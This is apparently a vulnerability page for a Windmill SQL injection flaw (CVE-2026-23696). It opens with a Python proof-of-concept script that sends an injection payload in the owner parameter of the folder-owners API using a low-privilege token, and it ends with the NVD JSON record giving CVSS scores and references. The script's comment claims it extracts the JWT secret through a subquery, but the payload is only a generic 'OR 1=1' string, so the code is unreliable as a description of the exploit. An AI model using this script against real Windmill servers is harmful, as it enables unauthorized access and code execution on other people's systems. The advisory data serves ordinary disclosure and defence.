CVE-2026-23696

import requests # Target URL (Example) target_url = "https://<windmill-host>/api/folders/{folder_id}/owners" # Attacker's low-privilege token auth_token = "<LOW_PRIV_TOKEN>" # Headers headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload to extract JWT secret (PoC concept) # This payload attempts to extract the JWT secret via a subquery payload = { "owner": "' OR 1=1; --" } # Send the request try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Potential SQL Injection successful!") print("[+] Response:", response.text) else: print("[-] Request failed or injection blocked.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-23696", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:27.247", "lastModified": "2026-04-08T21:27:00.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windmill CE and EE versions 1.276.0 through 1.603.2 contain an SQL injection vulnerability in the folder ownership management functionality that allows authenticated attackers to inject SQL through the owner parameter. An attacker can use the injection to read sensitive data such as the JWT signing secret and administrative user identifiers, forge an administrative token, and then execute arbitrary code via the workflow execution endpoints."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://apps.nextcloud.com/apps/flow/releases", "source": "[email protected]"}, {"url": "https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/", "source": "[email protected]"}, {"url": "https://github.com/Chocapikk/Windfall", "source": "[email protected]"}, {"url": "https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe", "source": "[email protected]"}, {"url": "https://github.com/windmill-labs/windmill/releases/tag/v1.603.3", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/windmill-file-ownership-handling-sqli-rce", "source": "[email protected]"}, {"url": "https://www.windmill.dev/", "source": "[email protected]"}]}}